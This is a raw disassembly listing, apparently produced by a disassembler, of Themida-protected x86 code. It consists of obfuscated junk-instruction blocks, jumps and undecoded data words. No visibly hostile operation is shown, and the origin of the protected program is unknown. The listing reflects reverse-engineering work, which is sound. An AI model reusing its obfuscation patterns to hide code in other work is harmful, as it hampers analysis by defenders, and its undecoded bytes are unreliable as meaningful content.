		dd 34FFFFFFh, 2434FF24h, 0FFA571E9h, 545558FFh,	62BF575Dh
		dd 0E925A53Dh, 414h, 0E581DDF7h, 683E1C10h, 9A9DF581h
		dd 0EF29E170h, 0E9FE895Dh, 0FFFF8628h, 4651DB2Dh, 9C3EE917h
		dd 0E689FFFFh, 4C681h, 50570000h, 0B700B3B8h, 58C7895Fh
		dd 0EFC1D7F7h, 1C78308h, 4BB2E781h, 0CF8163A0h,	455850A9h
		dd 7F9668h, 240C8900h, 0FFC32FE9h, 0C8015FFFh, 592434FFh
		dd 4C481h, 0E9550000h, 0FFFFA6E5h, 8B243433h, 1FE92424h
		dd 0F6FFFF7Eh, 0C1C580DDh, 28EBEA80h, 0EBC280EAh, 8BD00059h
		dd 68502414h, 6FEh, 3C0E9h, 5DE80100h, 192DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5539A1:				; CODE XREF: Themida_:0055308Bj
		add	edx, 0FFFFFFFFh
		jmp	loc_54A6B1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 5859CA88h, 0E4E9D030h, 0FF000005h, 669D1C77h, 2414D359h
		dd 5E4FE99Ch, 0EC83FFFFh, 5DE95404h, 81FFFF95h,	1EBh, 6597E900h
		dd 8B66FFFFh, 0C4832414h, 5CBE6802h, 14890000h,	5F65E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5539EE:				; CODE XREF: Themida_:0054BFE6j
		and	edi, ecx
		pop	ecx
		add	edi, 0FACAFDBFh
		mov	ebx, edi
		mov	edi, [esp]
		jmp	loc_54D2FA
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 0FFFFD4D4h
; ---------------------------------------------------------------------------


loc_553A0C:				; CODE XREF: Themida_:00550E61j
		shr	edx, 1
		jmp	loc_5508FB
; ---------------------------------------------------------------------------
		db 68h
		dd 7C93h, 57243489h, 187F60BFh,	0C87AE97Eh, 0C083FFFFh
		dd 24048704h, 0FFFE2FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553A31:				; CODE XREF: Themida_:00550BB6j
		or	eax, eax
		jz	loc_54B850
		push	dword ptr [edi+1Ch]
		sub	dword ptr [esp], 52877674h
		jmp	loc_54C558
; ---------------------------------------------------------------------------


loc_553A48:				; CODE XREF: Themida_:0054CAD6j
		pop	edx
		push	58D4h
		jmp	loc_54A2EE
; ---------------------------------------------------------------------------
		db 29h
		dd 0FF535AD3h, 815D2434h, 4C4h,	2434FF00h, 0FFC8F6E9h
		dd 242489FFh, 4240483h,	8324048Fh, 5D042404h, 3EBAB951h
		dd 81494E21h, 0BE46F4F1h, 7AE98146h, 0C10F6C70h, 0E98102E1h
		dd 0E4CC1F48h, 7E9CD01h, 0BAFFFF98h, 58580471h,	0F6D6E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553AA6:				; CODE XREF: Themida_:0054CFEEj
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5513BE
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 81000000h,	4C6h, 9A10E900h, 0E980FFFFh, 6E980FFh
		dd 0C8BCE88h, 6DBBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553ADE:				; CODE XREF: Themida_:0054BF81j
		mov	edx, 65F639F5h
		jmp	loc_5510B1
; ---------------------------------------------------------------------------
		dd 5E08950h, 4,	8704C083h, 0E95C2404h, 0FFFF913Eh
; ---------------------------------------------------------------------------


loc_553AFC:				; CODE XREF: Themida_:0055251Fj
		xor	[esp], edi
		jmp	loc_5503F6
; ---------------------------------------------------------------------------
		dd 83241C8Bh, 0C38104C4h, 4A654B46h, 7D92EB81h,	0EB81357Eh
		dd 274A7AA3h, 6E94EB81h, 0FEE93C6Fh, 100001Dh, 0D0015FF8h
		dd 432C642Dh, 0F1F7E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553B36:				; CODE XREF: Themida_:0055428Ej
		shl	edx, 3
		and	edx, 1FFF67B7h
		not	edx
		add	edx, 6E984E83h
		add	ebp, edx
		pop	edx
		shl	ebp, 7
		and	ebp, 316C4DA6h
		not	ebp
		jmp	loc_54DF42
; ---------------------------------------------------------------------------
		dw 0FC88h
		dd 7C8A5A5Bh, 64880224h, 58660224h, 0FF5CA8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553B6D:				; CODE XREF: Themida_:0054BBBAj
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_549815
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0E6892434h, 265268h, 240C8900h
		dd 0FE44AFB9h, 0ABB531Bh, 8169AE1Bh, 0E3062AE3h, 55C38102h
		dd 0C1571D1Fh, 0DBF702EBh, 0D02C381h, 0D93131EEh, 0C2C6815Bh
		dd 1653D29h, 0F3E955CEh, 0BAFFFFB7h, 388E7E81h,	81D2F742h
		dd 0B8C4A9F2h, 5AD531B3h, 71CE9h, 5BD82900h, 415068h, 24048900h
		dd 42474FFh, 0FFD500E9h, 47D7F7FFh, 1B79E9h, 48B6600h
		dd 0E1895124h, 771468h,	24048900h, 0FFD7D6E9h, 4C483FFh
		dd 0FFA6A9E9h, 5E5456FFh, 4EADBB53h, 81431BE4h,	3D2506E3h
		dd 4EBC175h, 24A9E381h,	0EB813921h, 0FFFFFCh, 815BDE01h
		dd 4ECh, 0F245E900h, 77FFFFFFh,	11589D1Ch, 0E99C2404h
		dd 0FFFF5BC9h, 0AD67C281h, 0D189BDF5h, 59CF095Ah, 50FFEF83h
		dd 405E089h, 55000000h,	56FB951h, 89577FC1h, 5FFD89CFh
		dd 53ED8159h, 4D734051h, 0ED814545h, 0C80B419h,	50E9E829h
		dd 2DFFFFABh, 2BCB0DE3h, 0E305C829h, 592BCB0Dh,	1105C801h
		dd 6832AE2Dh, 18BAh, 0BD242C89h, 8CA5391h, 2C8BE829h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 1257E9h
		db 0
; ---------------------------------------------------------------------------


loc_553CC1:				; CODE XREF: Themida_:005515B0j
		mov	esi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		push	ebp
		jmp	loc_55113B
; ---------------------------------------------------------------------------


loc_553CD3:				; CODE XREF: Themida_:0054BDF2j
		and	edx, 2AFC4005h
		sub	edx, 0C4419776h
		or	ecx, edx
		jmp	loc_54B775
; ---------------------------------------------------------------------------
		dw 0CB89h
		dd 83240C8Bh, 0D80104C4h, 0FFFE0FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553CF5:				; CODE XREF: Themida_:0055090Ej
		xchg	edx, [esp]
		jmp	loc_54A906
; ---------------------------------------------------------------------------


loc_553CFD:				; CODE XREF: Themida_:00554A25j
		pop	esp
		jmp	loc_54F82F
; ---------------------------------------------------------------------------
		db 89h
		dd 0BBB850E7h, 515E9802h, 0D22809B9h, 0EEBD5559h, 0E939992Fh
		dd 0FFFF9E33h, 56E0F781h, 0A0E93EBBh, 53FFFFF2h, 568E389h
		dd 89000022h, 4BE2434h,	68000000h, 2EDAh, 0E9243489h, 142Eh
		dd 0E9028F66h, 0FFFF5AC9h, 243C875Ah, 2424895Ch, 0FFF05DE9h
		dd 242489FFh, 0FF5FE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553D61:				; CODE XREF: Themida_:005503F1j
		mov	[esp], ebx
		push	edi
		push	edx
		mov	edx, 69AE726Dh
		inc	edx
		not	edx
		neg	edx
		and	edx, 0A8F075Ch
		shr	edx, 4
		add	edx, 72A96578h
		mov	edi, edx
		jmp	loc_54D92B
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0DB47E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553D8E:				; CODE XREF: Themida_:0054E80Bj
		add	esp, 4
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_54EAD2
; ---------------------------------------------------------------------------
		db 56h,	54h, 5Eh
		dd 0FFB57BE9h, 6DB0FFh,	0C155E9C3h, 815EFFFFh, 4C6h, 0FE95000h
		dd 1FFFF84h, 0E2C2E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553DCA:				; CODE XREF: Themida_:00551408j
		xor	bh, 2Dh
		mov	al, bh
		jmp	loc_54CE1B
; ---------------------------------------------------------------------------


loc_553DD4:				; CODE XREF: Themida_:00554E37j
		push	ecx
		push	edx
		mov	edx, 28DE0F3Eh
		mov	ecx, edx
		jmp	loc_5535A3
; ---------------------------------------------------------------------------
		dw 0AABBh
		dd 431BEA7Ch, 0FFC68DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553DED:				; CODE XREF: Themida_:0054E44Cj
		sub	ebp, esi
		pop	esi
		push	ebp
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_55441B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C7F281DAh, 81707D1Bh, 0E96FADEAh, 6EE94A53h, 5FFFF8Fh
		dd 4, 5C240487h, 0FF59F4E9h, 2474FFFFh,	48F5A04h, 0C83EE924h
		dd 0FE01FFFFh, 13FC681h, 7FE92601h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553E3B:				; CODE XREF: Themida_:0054A519j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		push	esp
		pop	edx
		jmp	loc_5504C9
; ---------------------------------------------------------------------------


loc_553E4C:				; CODE XREF: Themida_:0054A4ABj
		xor	edx, esi
		push	dword ptr [esp]
		jmp	loc_54F7A2
; ---------------------------------------------------------------------------
		dw 0EDC1h
		dd 0EFADE906h, 0C380FFFFh, 24148B52h, 0E904C483h, 0FFFFCBAAh
		dd 4C481h, 54B80000h, 3166D635h, 0C38159C8h, 662C1E3Eh
		dd 4FAFEB81h, 0C30136C1h, 4FAFC381h, 0EB8136C1h, 662C1E3Eh
		dd 0E9008F58h, 0FFFF8AF6h, 4EC8358h, 89242C89h,	4C581E5h
		dd 51000000h, 0AECAE956h, 0CF87FFFFh, 63E9F987h, 2DFFFF98h
		dd 26885AD6h, 0D605D001h, 0E926885Ah, 0FFFFF787h, 4EC8353h
		dd 55242489h, 4BDh, 246C0100h, 0E95B5D04h, 0FFFFCBB2h
; ---------------------------------------------------------------------------


loc_553EE4:				; CODE XREF: Themida_:0054EBB3j
		push	eax
		mov	eax, 3DE1EBAh
		jmp	loc_5549CC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0FF7E3CE9h, 4B8FFh, 0F2E90000h, 57000009h, 0C781E789h
		dd 4, 8704C783h, 9BE9243Ch, 81FFFF88h, 330BFFEBh, 24348B04h
		dd 4C481h, 0EB810000h, 4, 0FFF266E9h, 88EF88FFh, 0DFF658E5h
		dd 0EF30FD30h, 0E580FD30h, 9053E91Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F42:				; CODE XREF: Themida_:0054C1A8j
		pop	esi
		jmp	loc_54AC87
; ---------------------------------------------------------------------------
		dd 1C8B0303h, 4C48324h,	54CA68h, 241C8900h, 6857E389h
		dd 54F239ADh, 0AFDAE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553F66:				; CODE XREF: Themida_:0054AE0Fj
		mov	ebp, esp
		jmp	loc_54E823
; ---------------------------------------------------------------------------


loc_553F6D:				; CODE XREF: Themida_:005504E4j
		push	esi
		mov	esi, 5B3A11B0h
		sub	ebx, 1E631D2Ah
		jmp	loc_551F41
; ---------------------------------------------------------------------------
		dw 3C31h
		dd 16A1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553F86:				; CODE XREF: Themida_:0054A0CCj
		pop	esp
		sub	ebp, 861CFB86h
		push	edx
		mov	edx, 7B8F5348h
		neg	edx
		dec	edx
		jmp	loc_54F200
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 6AB75366h, 0E9B3B353h, 0FFFF73ABh, 436868h
		dd 240C8900h, 0FF5B31E9h, 4C383FFh, 0FF9782E9h,	321768FFh
		dd 2C890000h, 57F8BD24h, 0E9506A25h, 0FFFFCEFDh, 0D324248Bh
		dd 0E99C2424h, 0FFFF5831h
; ---------------------------------------------------------------------------


loc_553FE4:				; CODE XREF: Themida_:0054E077j
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ebx, edi
		pop	edi
		jmp	loc_54BA6F
; ---------------------------------------------------------------------------
aIHco		db '‰<$hco',0
		align 2
		dw 489h
		dd 5E08924h, 4,	0FFE2ACE9h, 0FF515DFFh,	59042474h, 0E924048Fh
		dd 0FFFF5ABDh
; ---------------------------------------------------------------------------


loc_554018:				; CODE XREF: Themida_:0055143Fj
		mov	[esp], edx
		jmp	loc_5543E0
; ---------------------------------------------------------------------------


loc_554020:				; CODE XREF: Themida_:00550903j
		mov	ecx, edx
		jmp	loc_54B7F1
; ---------------------------------------------------------------------------
		db 53h
		dd 0E952C389h, 0FFFF8029h
; ---------------------------------------------------------------------------


loc_554030:				; CODE XREF: Themida_:00552D07j
		or	esi, 6085568Ah
		neg	esi
		neg	esi
		dec	esi
		shr	esi, 8
		add	esi, 9FE230A2h
		xor	ecx, esi
		pop	esi
		jmp	loc_54B08B
; ---------------------------------------------------------------------------


loc_55404C:				; CODE XREF: Themida_:0055359Ej
		add	ecx, 0FFFFFFFFh
		jmp	loc_550B01
; ---------------------------------------------------------------------------
		dd 0D1F6C9FEh, 0B7C180h, 3DE959CEh, 0C1000005h,	0EF8103E7h
		dd 0A290852Fh, 242C8B57h, 0E904C483h, 0FFFFD82Dh
; ---------------------------------------------------------------------------


loc_554078:				; CODE XREF: Themida_:0054ACA5j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 4C313923h
		not	edx
		shl	edx, 7
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 749A41E3h
		jmp	loc_551D0F
; ---------------------------------------------------------------------------
		db 50h,	89h, 0E0h
		dd 0FFD43EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5540AD:				; CODE XREF: Themida_:0054B615j
		mov	ecx, [esp]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_54BD84
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 2F4ABD24h, 70E9392Ch, 81FFFFBCh, 3B13FEC3h
		dd 0C3815D55h, 41855562h, 0EB81C329h, 41855562h, 16EAEB81h
		dd 0C2315192h, 0FF571CE9h, 66AD66FFh, 8953D831h, 0A08BE9E3h
		dd 74FFFFFFh, 8F5D0424h, 248B2404h, 0D35E924h, 50560000h
		dd 0A42129B8h, 6A14E91Bh, 8F5AFFFFh, 665C2404h,	66241489h
		dd 0E2E99C50h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554133:				; CODE XREF: Themida_:0054DBB7j
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		shr	ecx, 5
		sub	ecx, 68BE54CBh
		shl	ecx, 2
		jmp	loc_55147B
; ---------------------------------------------------------------------------
		align 2
		dw 59EBh
		dd 0EB80C328h, 0BCC0E9DEh, 0BF0FFFFFh, 60DD68C8h, 0C890000h
		dd 56AFE924h, 0C481FFFFh, 4, 5F58C689h,	0FFED68E9h, 405FFh
		dd 0C0830000h, 24048704h, 4DCE9h, 7DC68100h, 0FF344100h
		dd 815A2434h, 4C4h, 0D8685600h,	89000020h, 0E3E92404h
		dd 59FFFF57h, 2C5835Ah,	0E9242C33h, 0FFFF636Eh
; ---------------------------------------------------------------------------


loc_5541B0:				; CODE XREF: Themida_:00552623j
		add	edx, 11335C81h
		add	edx, eax
		sub	edx, 11335C81h
		pop	eax
		add	edx, 4
		jmp	loc_54E947
; ---------------------------------------------------------------------------
		db 51h
		dd 653CBA52h, 40B907D3h, 2907D365h, 0C86FE9D1h,	0FB89FFFFh
		dd 126DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5541E1:				; CODE XREF: Themida_:0054E81Ej
		sub	esi, 0E978F6DAh
		jmp	loc_54E5FA
; ---------------------------------------------------------------------------
		dd 9DBF5755h, 310F440Eh, 5F04247Ch, 8130428Fh, 0E9D3072h
		dd 9EE90F44h, 89FFFF5Eh, 5A542414h, 5F68h, 5D68E900h, 2C29FFFFh
		dd 242C8124h, 43523804h, 27242C81h, 8B14D85Dh, 8EE9242Ch
		dd 58FFFFBAh, 7EE9D828h, 1FFFFD3h, 0D8015EF0h, 8904EC83h
		dd 0E789243Ch, 4C781h, 0EF830000h, 243C8704h, 2414895Ch
		dd 0FFAA43E9h, 48B66FFh, 5C0AE924h, 6568FFFFh, 8900004Fh
		dd 2BF243Ch, 50000000h,	6655B0B8h, 0C1D8F714h, 700502E8h
		dd 29CC259Ah, 0E5E958C5h
		db 73h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554287:				; CODE XREF: Themida_:0054B2F0j
		mov	edx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_553B36
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 4AE95300h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55429F:				; CODE XREF: Themida_:00554442j
		push	eax
		jmp	loc_54B749
; ---------------------------------------------------------------------------


loc_5542A5:				; CODE XREF: Themida_:0054BF72j
		shr	bh, 2
		not	bh
		push	eax
		push	ebx
		mov	bh, 3
		neg	bh
		inc	bh
		jmp	loc_551402
; ---------------------------------------------------------------------------


loc_5542B7:				; CODE XREF: Themida_:0054C560j
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54EB47
; ---------------------------------------------------------------------------


loc_5542C8:				; CODE XREF: Themida_:00554EB1j
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_5506A6
; ---------------------------------------------------------------------------
		db 81h
		dd 4EFh, 243C8700h, 0FF7B6BE9h,	0C5814DFFh, 60D3414Fh
		dd 0F75DEF09h, 0E0B850DFh, 29804080h, 0DB82E9C7h, 335BFFFFh
		dd 34312434h, 6A9CE924h, 0C181FFFFh, 446D1DC3h,	87D5E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554326:				; CODE XREF: Themida_:0054EC3Aj
		mov	[esp], ebp
		mov	eax, [esp]
		push	ebx
		jmp	loc_55109F
; ---------------------------------------------------------------------------
		dw 0E781h
		dd 7C5615BBh, 9044E950h, 3487FFFFh, 24248B24h, 51C8AF0Fh
		dd 54C7E99Ch, 0EB89FFFFh, 0FF96EFE9h, 0B7E281FFh, 0E9748C02h
		dd 0FFFFD3BCh, 4D3C581h, 0FE91AB0h, 83FFFF8Ah, 5A042404h
		dd 4C281h, 0C2830000h, 74FF5204h, 0FE90424h, 56FFFF94h
		dd 330CBF57h, 0B850772Bh, 7BFB5469h, 0FFB8CEE9h, 0C5815DFFh
		dd 4, 0FF673FE9h, 0FFFB01FFh, 3C8B2434h, 4C48124h, 0E9000000h
		dd 0EF5h
; ---------------------------------------------------------------------------


loc_5543B4:				; CODE XREF: Themida_:0055513Cj
		push	edi
		mov	edi, esp
		push	esi
		push	edx
		jmp	loc_54C800
; ---------------------------------------------------------------------------
		dw 0D801h
		dd 2434FF5Bh, 5E2434FFh, 4C481h, 0EC810000h, 4,	0FF7B78E9h
		dd 0E9FE88FFh, 0FFFFE4CBh
; ---------------------------------------------------------------------------


loc_5543E0:				; CODE XREF: Themida_:0055401Bj
		mov	edx, esp
		push	eax
		mov	eax, 19FE07E7h
		not	eax
		shr	eax, 6
		shr	eax, 4
		jmp	loc_54A633
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 0A855E924h, 0BD55FFFFh, 4, 575DEF01h, 42474FFh, 83243C8Bh
		dd 48F04C4h, 0CBE95C24h
		db 62h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55441B:				; CODE XREF: Themida_:00553DFAj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_54EED5
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55429F
; ---------------------------------------------------------------------------


loc_554447:				; CODE XREF: Themida_:0054F58Aj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5520F1
; ---------------------------------------------------------------------------
		dw 0FA29h
		dd 0FFE935E9h, 243C89FFh, 0C781E789h, 4, 8904EC83h, 2BB241Ch
		dd 56000000h, 0C85AC5BEh, 8BF72926h, 89522434h,	4C281E2h
		dd 83000000h, 148704C2h, 0C7815C24h, 26C10115h,	0EF81DF01h
		dd 26C10115h, 5AC5C781h, 335B26C8h, 0CBE9243Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5544B3:				; CODE XREF: Themida_:00550A00j
		push	5BB5h
		mov	[esp], ecx
		jmp	loc_54B7A3
; ---------------------------------------------------------------------------
		dd 0E92C77FFh, 0FFFF534Dh, 5E5DE889h, 0FFEC45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5544D1:				; CODE XREF: Themida_:0054C533j
		sub	[esp+8], edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		mov	eax, [esp]
		jmp	loc_54F9E2
; ---------------------------------------------------------------------------


loc_5544E4:				; CODE XREF: Themida_:0054A907j
		mov	[esp], ebx
		push	2000000h
		pop	ebx
		and	eax, ebx
		mov	ebx, [esp]
		sub	esp, 4
		jmp	loc_54D276
; ---------------------------------------------------------------------------


loc_5544FA:				; CODE XREF: Themida_:0054CE1Ej
		pop	eax
		jmp	loc_554FE3
; ---------------------------------------------------------------------------
		dd 0E95AD709h, 0FFFF5B0Dh
; ---------------------------------------------------------------------------


loc_554508:				; CODE XREF: Themida_:0054BC70j
		dec	ebp
		add	ebp, 1
		shl	ebp, 8
		sub	ebp, 474B37DEh
		add	ecx, 6DF84720h
		jmp	loc_550F9D
; ---------------------------------------------------------------------------
		dd 0F84014BAh, 0CA2E90Dh, 8B660000h, 89512404h,	4C181E1h
		dd 0E9000000h, 0FFFF6A75h, 5966CC28h, 0ADE95266h, 58FFFF63h
		dd 0E904C483h, 0FFFFA4B5h
; ---------------------------------------------------------------------------


loc_554550:				; CODE XREF: Themida_:00550D26j
		xchg	ebp, ebx
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		xor	ebp, eax
		xor	eax, ebp
		not	ebp
		xchg	eax, ebp
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_552F03
; ---------------------------------------------------------------------------


loc_554573:				; CODE XREF: Themida_:0054A3C7j
		mov	edx, 2C7620C9h
		neg	edx
		xor	edx, 0D389DF33h
		add	eax, edx
		jmp	loc_54D4CC
; ---------------------------------------------------------------------------
		db 81h
		dd 0FF29A8C2h, 0DFF1E946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554592:				; CODE XREF: Themida_:0055303Ej
		xchg	esi, [esp]
		mov	esp, [esp]


loc_554598:				; CODE XREF: Themida_:loc_549A37j
					; Themida_:loc_54F9CCj
		push	dword ptr [esp]
		jmp	loc_54FE65
; ---------------------------------------------------------------------------
		dd 7AB25250h, 0FF58E0E9h, 2BB53FFh, 1000000h, 677E9DFh
		dd 0C4830000h, 24048F04h, 0E924248Bh, 1F2h, 31241C33h
		dd 1C33241Ch, 34895C24h, 0CEC6E924h, 74FFFFFFh,	48B0424h
		dd 4C48124h, 8F000000h,	248B2404h, 2434FF24h, 0FFBAAAE9h
		dd 241489FFh, 292BC4BAh, 5AD30172h, 0E95BD901h,	0FFFFDE22h
		dd 4C381h, 0BD550000h, 4A437755h, 7751F581h, 0EB294A43h
		dd 241C875Dh, 241C895Ch, 0FF5E3DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554625:				; CODE XREF: Themida_:0054B995j
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_54F5F7
; ---------------------------------------------------------------------------
		db 0E9h, 0DFh, 51h
		dd 0DA01FFFFh, 0D2FEA81h, 525B436Ch, 0FFF7DCE9h, 515659FFh
		dd 4B9h, 5F37E900h, 0E7C1FFFFh,	41C78108h, 4F7D9645h, 0FFE1C1E9h
		dd 56515CFFh, 8274AEBEh, 9CF6811Eh, 0E9691940h,	0FFFF76C5h
		dd 50242489h, 0FF9E86E9h, 0CFE95AFFh, 81FFFFCAh, 0D30403F2h
		dd 0E7DDE91Dh, 77FFFFFFh, 58669D1Ch, 24041166h,	5177E99Ch
		dd 6268FFFFh, 8900001Ah, 5954240Ch, 4BA52h, 0D1010000h
		dd 5731E95Ah, 665CFFFFh, 0E9240C8Bh, 0FFFFBE97h
; ---------------------------------------------------------------------------


loc_5546C0:				; CODE XREF: Themida_:0054F1D9j
		xchg	ebx, [esp]
		jmp	loc_54B0B3
; ---------------------------------------------------------------------------
		dd 1DB368h, 242C8900h, 0FF734DE9h, 9CC83BFFh, 0FF79ECE9h
		dd 0EDBA52FFh, 0BE55661Fh, 624E9C37h, 34FFD629h, 2434FF24h
		dd 4C4835Ah, 0FFA27AE9h, 0EDB151FFh, 0FEBBC980h, 0FEC9FEC9h
		dd 1EF180C9h, 8059CE88h, 0F6804AEEh, 5AF330EFh,	0D0B9B252h
		dd 2E2C0E2h, 8040B151h,	80E9EAE1h, 89FFFFEAh, 405E0h, 0E9570000h
		dd 0FFFF6CF8h
; ---------------------------------------------------------------------------


loc_554734:				; CODE XREF: Themida_:0054F032j
		xchg	eax, edi
		sub	eax, 0B35952C5h
		jmp	loc_54CC7E
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF90B5E9h, 243433FFh, 33243431h, 248B2434h,	24040824h
		dd 50BBE99Ch, 0B6E9FFFFh, 0BFFFFF50h, 699C2B44h, 1E9F929h
		dd 31FFFF88h, 0C33240Ch, 8B665C24h, 0E0682404h,	8900003Ah
		dd 0EC83242Ch, 48F5404h, 24048324h, 0BF575D04h,	2F3F2987h
		dd 0FF57EFD1h, 0E95F2404h, 0FFFFC39Eh, 8904EC83h, 36E92424h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5547A7:				; CODE XREF: Themida_:00549849j
		add	bh, dh
		pop	edx
		add	al, bh
		pop	ebx
		sub	al, 8Ah
		sub	al, bl
		jmp	loc_54CDA8
; ---------------------------------------------------------------------------
		dw 4D3h
		dd 56E99C24h, 0BAFFFF50h, 350564B0h, 0FFEFFFE9h, 5E089FFh
		dd 4, 42Dh, 24048700h, 8924248Bh, 74B5240Ch, 527DE580h
		dd 50E986B2h, 80FFFF8Ch, 0C3009BC3h, 809BEB80h,	5266C8C3h
		dd 0B4502AB6h, 80CCFE0Fh, 0E4807AC4h, 18EC8041h, 58E300h
		dd 0EEE4E9F3h, 0C481FFFFh, 4, 0FF93A7E9h, 5FFD89FFh, 6DB8F581h
		dd 0DDF769E6h, 0FFB2CBE9h, 0C8B66FFh, 0E0895024h, 0CAFE9h
		dd 68D82900h, 43ACh, 57243489h,	0B321E7BFh, 0B4C6E964h
		dd 0D9F7FFFFh, 0F181D1F7h, 0BA851845h, 0C8BCD31h, 4C48324h
		dd 16B0ED81h, 0E989DFB6h, 8BCD015Dh, 0B0E9240Ch, 28FFFFEEh
		dd 0EB8059CBh, 66C328DDh, 0DDB450h, 48B66E3h, 2C48124h
		dd 83000000h, 0C8904ECh, 0ACB524h, 7060E9EBh, 248BFFFFh
		dd 2CD36624h, 6EE99C24h, 83FFFF4Fh, 348904ECh, 4EC8124h
		dd 89000000h, 66B9240Ch, 896DE30Dh, 742959CEh, 0E9E90424h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5548C7:				; CODE XREF: Themida_:00550DCCj
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54D0BF
; ---------------------------------------------------------------------------


loc_5548DA:				; CODE XREF: Themida_:0054A8C6j
		shr	eax, 0Eh
		xor	eax, ecx
		xor	eax, ebx
		jmp	loc_550D22
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 4, 0FFC455E9h, 58C101FFh, 0FF8771E9h, 2C8B5EFFh, 0E6895624h
		dd 4C681h, 0E9520000h, 0FFFF9EDFh
; ---------------------------------------------------------------------------


loc_55490C:				; CODE XREF: Themida_:005515C9j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 20000h
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	3373h
		mov	[esp], ebp
		jmp	loc_54DA6A
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0FFE9BBE9h
		db 0FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 16270B7Eh
		jmp	loc_54DCBE
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 0F704C483h, 0EFE381D3h, 55451D05h, 40AFBE56h, 0F5896A92h
		dd 66C5815Eh, 0F72C8645h, 0ED8145DDh, 64E2791Eh, 15DEB31h
